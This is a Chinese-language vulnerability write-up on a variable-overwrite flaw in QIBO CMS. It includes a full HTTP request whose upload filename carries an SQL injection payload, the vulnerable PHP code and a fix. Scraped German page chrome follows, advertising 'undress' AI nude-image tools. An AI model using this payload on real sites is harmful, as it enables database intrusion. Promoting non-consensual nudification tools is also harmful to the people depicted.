QIBO CMS /inc/common.inc.php Local Variables Overriding Vul
目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 " 本地变量
目录
<span>1</span><span>. 漏洞描述 </span><span>2</span><span>. 漏洞触发条件 </span><span>3</span><span>. 漏洞影响范围 </span><span>4</span><span>. 漏洞代码分析 </span><span>5</span><span>. 防御方法 </span><span>6</span>. 攻防思考
1. 漏洞描述
齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入<span>"</span><span>本地变量覆盖</span><span>"</span>、<span>"</span><span>本地变量未初始化</span><span>"</span><span>的安全风险 齐博CMS中的漏洞文件</span>/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
Relevant Link:
http:<span>//</span><span>bbs.qibosoft.com/read-forum-tid-422299.htm</span>
2. 漏洞触发条件
0x1: 攻击入口
构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php
<span>1</span>. 首先访问/member下面的<span>"</span><span>评论管理</span><span>"</span><span>功能,抓包 </span><span>2</span><span>. 在http request中构造一个attachment,如下: </span><span>/*</span><span> POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,</span><span>*/</span>*;q=<span>0.8</span><span> User</span>-Agent: Mozilla/<span>5.0</span> (Windows NT <span>6.1</span>; WOW64) AppleWebKit/<span>537.36</span> (KHTML, like Gecko) Chrome/<span>28.0</span>.<span>1500.95</span> Safari/<span>537.36</span> SE <span>2</span>.X MetaSr <span>1.0</span><span> Referer: http:</span><span>//</span><span>127.0.0.1/qibo/member/comment.php?job=work </span> Accept-<span>Encoding: gzip,deflate,sdch Accept</span>-Language: zh-CN,zh;q=<span>0.8</span><span> Cookie: PHPSESSID</span>=<span>jo9rpav7l51iakidv01vr9fem1; passport</span>=<span>1</span>%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%<span>0922</span>%<span>091425969668</span>%09http%3A%2F%2F127.<span>0.0</span>.<span>1</span>%2Fqibo%2Fmember%2Fcomment.php%3Fjob%<span>3Dwork Content</span>-Type: multipart/form-<span>data; boundary</span>=----<span>WebKitFormBoundary6ukpBHoIrpHKtOkl Content</span>-Length: <span>227</span> ------<span>WebKitFormBoundary6ukpBHoIrpHKtOkl Content</span>-Disposition: form-data; name=<span>"</span><span>cidDB</span><span>"</span>; filename=<span>"</span><span>1' and EXP(~(select * from(select user())a)) -- </span><span>"</span><span> Content</span>-Type: text/<span>plain </span><span>1111</span> ------WebKitFormBoundary6ukpBHoIrpHKtOkl-- */<span> 注意将原来的URL上的cidDB[]</span>=<span>x删除掉; 然后构造一个文件上传的报文(GET改为POST方法) 在filename处填入注入的payload </span><span>3</span><span>. 提交该数据包,即可注入成功 </span><span>//</span><span>这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖</span>
Relevant Link:
http:<span>//</span><span>bobao.360.cn/learning/detail/291.html</span>
3. 漏洞影响范围
齐博所有系统、所有版本
4. 漏洞代码分析
\qibo\inc\common.inc.php
<span>/*</span><span> 全局变量文件对GPC变量的过滤 从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数 这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖 </span><span>*/</span><span> $_POST</span>=<span>Add_S($_POST); $_GET</span>=<span>Add_S($_GET); $_COOKIE</span>=<span>Add_S($_COOKIE); function Add_S($array) { </span><span>foreach</span>($array <span>as</span> $key=><span>$value) { </span><span>if</span>(!<span>is_array($value)) { $value</span>=str_replace(<span>"</span><span></span><span>"</span>,<span>"</span><span>& # x</span><span>"</span>,$value); <span>//</span><span>过滤一些不安全字符</span> $value=preg_replace(<span>"</span><span>/eval/i</span><span>"</span>,<span>"</span><span>eva l</span><span>"</span>,$value); <span>//</span><span>过滤不安全函数</span> !get_magic_quotes_gpc() && $value=<span>addslashes($value); $array[$key]</span>=<span>$value; } </span><span>else</span><span> { $array[$key]</span>=<span>Add_S($array[$key]); } } </span><span>return</span><span> $array; } </span><span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>)) { @extract($_FILES,EXTR_SKIP); } </span><span>foreach</span>($_COOKIE AS $_key=><span>$_value) { unset($$_key); } </span><span>foreach</span>($_POST AS $_key=><span>$_value) { </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_POST[$_key]; } </span><span>foreach</span>($_GET AS $_key=><span>$_value) { </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_GET[$_key]; }</span>
5. 防御方法
\qibo\inc\common.inc.php
<span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>)) { $array </span>= array(<span>'</span><span>Filedata</span><span>'</span>,<span>'</span><span>postfile</span><span>'</span>,<span>'</span><span>upfile</span><span>'</span>,<span>'</span><span>fileData</span><span>'</span>,<span>'</span><span>Filedata</span><span>'</span><span>); </span><span>foreach</span>($array AS $key=><span>$value) { is_array($_FILES[$value]) </span>&& $$value =<span> $_FILES[$value]; } }</span>
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Die Vorteile der Integration von PHP-Framework und CMS sind: 1. Verbesserung der Entwicklungseffizienz; 3. Vereinfachung der Inhaltsverwaltung; Im konkreten Fall wurde das Laravel-Framework in WordPressCMS integriert, um eine Blog-Website mit benutzerdefinierten Funktionen zu erstellen. Die Integrationsschritte umfassen das Erstellen einer Laravel-Anwendung, die Installation von WordPress, die Konfiguration von WordPress, das Erstellen eines Controllers, das Definieren des Routings, das Abrufen von WordPress-Daten usw Laravel-Anzeigedaten anzeigen.

Mit der Popularität und Entwicklung des Internets haben Finanzwebsites immer mehr an Bedeutung gewonnen. Finanzwebsites spielen eine entscheidende Rolle bei der Geschäftsentwicklung, dem Marketing und dem Markenaufbau usw. der Finanzbranche. Heutzutage, mit der Popularität und Reife von CMS-Systemen, entscheiden sich immer mehr Unternehmen für den Einsatz von CMS-Systemen für die Website-Entwicklung. Dieser Artikel konzentriert sich auf die Verwendung des PHPCMS-Systems bei der Entwicklung von Finanzwebsites. 1. Verstehen Sie das CMS-System. CMS-System ist die Abkürzung für Content Management System. Es bezieht sich auf ein System, das schnell erstellt werden kann

Praktische Tipps zur Integration von PHPcms mit anderen Systemen Mit der kontinuierlichen Weiterentwicklung der Internettechnologie ist der Bereich der Website-Entwicklung vielfältiger und komplexer geworden. In tatsächlichen Projekten sind wir häufig mit Situationen konfrontiert, in denen verschiedene Systeme integriert werden müssen, was von uns bestimmte Fähigkeiten und Erfahrungen zur Lösung dieser Probleme erfordert. In diesem Artikel werden einige praktische Tipps und spezifische Codebeispiele für die Integration des PHPcms-Systems mit anderen Systemen vorgestellt, um Entwicklern dabei zu helfen, Herausforderungen besser zu bewältigen. 1. Grundprinzipien der Integration Bei der Durchführung der Systemintegration ist zunächst Folgendes erforderlich

Der Speicherort des Empire CMS-Verzeichnisses wird angezeigt. Es werden spezifische Codebeispiele benötigt. Empire CMS (EmpireCMS) ist ein weit verbreitetes Open-Source-Content-Management-System. Seine Flexibilität und sein Funktionsreichtum werden von den Benutzern geschätzt. Während des Website-Entwicklungsprozesses ist es wichtig, die Verzeichnisstruktur und den Dateispeicherort von Empire CMS zu verstehen, da dies Entwicklern hilft, Website-Inhalte und -Funktionen besser zu verwalten. In diesem Artikel wird der Verzeichnisspeicherort von Empire CMS erläutert und spezifische Codebeispiele bereitgestellt, um den Lesern ein tieferes Verständnis dieses Content-Management-Systems zu vermitteln. 1.Grundlegende Verzeichnisstruktur

So implementieren Sie mit Java die Bildwasserzeichenfunktion des CMS-Systems Zusammenfassung: Durch Hinzufügen der Bildwasserzeichenfunktion zum CMS-System kann wirksam verhindert werden, dass Bilder manipuliert und gestohlen werden. In diesem Artikel wird erläutert, wie Sie mit Java die Bildwasserzeichenfunktion des CMS-Systems implementieren und Codebeispiele bereitstellen. Einleitung Mit der Popularität des Internets und der Popularität von Digitalkameras ist der Diebstahl und die Manipulation von Bildern zu einem häufigen Problem geworden. Um das Urheberrecht von Bildern zu schützen, fügen viele CMS-Systeme Bildwasserzeichenfunktionen hinzu. Bildwasserzeichen sind eine Technologie, die Bildern identifizierbare Informationen hinzufügt, beispielsweise ein Foto

PHPcms ist ein leistungsstarkes Content-Management-System, das häufig in der Website-Entwicklung eingesetzt wird. Das Spalten-Caching ist eine wichtige Funktion in PHPcms, die die Geschwindigkeit des Website-Zugriffs verbessern und den Serverdruck verringern kann. In diesem Artikel wird der Speicherpfad des PHPcms-Spaltencaches offengelegt und spezifische Codebeispiele bereitgestellt. 1. Was ist Spalten-Caching? Unter Spalten-Caching versteht man das Generieren statischer Dateien aus dem Spalteninhalt auf der Website und deren Speicherung im angegebenen Pfad. Wenn der Benutzer auf die Spalte zugreift, wird die statische Datei direkt gelesen, anstatt die Seite jedes Mal dynamisch zu generieren . Das

Erstellen Sie ein PHP-Cloud-Transkodierungs-CMS-System, um Video-Transkodierungsdienste zu implementieren. Mit der rasanten Entwicklung von Online-Videos sind Video-Transkodierungsdienste immer wichtiger geworden. Um den Anforderungen der Benutzer an die Videotranskodierung gerecht zu werden, ist der Aufbau eines PHP-Cloud-Transkodierungs-CMS-Systems eine gute Wahl. In diesem Artikel stellen wir vor, wie man ein einfaches PHP-Cloud-Transcoding-CMS-System erstellt, und stellen spezifische Codebeispiele bereit. Zuerst müssen wir eine grundlegende PHP-Entwicklungsumgebung vorbereiten. Stellen Sie sicher, dass Sie PHP und MySQL installiert haben und über einen Webserver wie Apa verfügen

Die Auswirkungen und Reaktionen, wenn die Wartung von PHPcms eingestellt wird. Mit der kontinuierlichen Weiterentwicklung der Internettechnologie ist die Website-Erstellung für viele Unternehmen und Einzelpersonen zu einem unverzichtbaren Werkzeug geworden. Bei der Website-Erstellung spielt das Content-Management-System (CMS) eine wichtige Rolle. Als häufig verwendetes CMS-Tool erfreute sich PHPcms einst großer Beliebtheit. Mit der Zeit nimmt die Aktualisierung und Wartung der PHPcms-Version jedoch allmählich ab oder wird sogar ganz eingestellt, was eine Reihe von Auswirkungen für Benutzer und Entwickler mit sich bringt. Dieser Artikel untersucht die Auswirkungen von PHPcms außerhalb der Wartung und bietet eine
